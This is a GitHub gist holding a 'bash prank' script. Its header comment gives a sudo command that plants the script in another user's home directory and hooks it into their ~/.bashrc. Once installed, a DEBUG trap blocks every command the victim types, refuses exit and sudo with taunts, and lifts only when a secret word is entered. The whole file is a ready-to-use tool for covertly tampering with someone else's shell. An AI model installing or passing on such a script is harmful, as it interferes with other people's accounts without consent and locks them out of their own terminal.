Skip to content

Instantly share code, notes, and snippets.

@noonien
Created July 19, 2012 12:07
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save noonien/3143414 to your computer and use it in GitHub Desktop.
Save noonien/3143414 to your computer and use it in GitHub Desktop.
Simple bash prank
# This script disables execution of commands and echoes messages to the user, to disable type: "wat"
#
# To install this, you need to have access to the user's home directory.
# sudo -u <user> -i sh -c 'cp /path/to/evil ~/.evil && cp ~/.bashrc ~/.bashrc.ebak && echo ". ~/.evil" >> ~/.bashrc'
shopt -s extdebug
function disable_evil() {
rm ~/.evil
rm ~/.bashrc
mv ~/.bashrc.ebak ~/.bashrc
exit
}
function WHAT() {
local this_command=`history 1 | sed -e "s/^[ ]*[0-9]*[ ]*//g"`;
case "$this_command" in
wat)
disable_evil;;
exit*)
echo 'There is no escape!'
return 1;;
sudo*)
echo 'Lol, no.'
return 1;;
*)
echo 'What?!?!?!?'
return 1;;
esac
}
trap 'WHAT' DEBUG
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment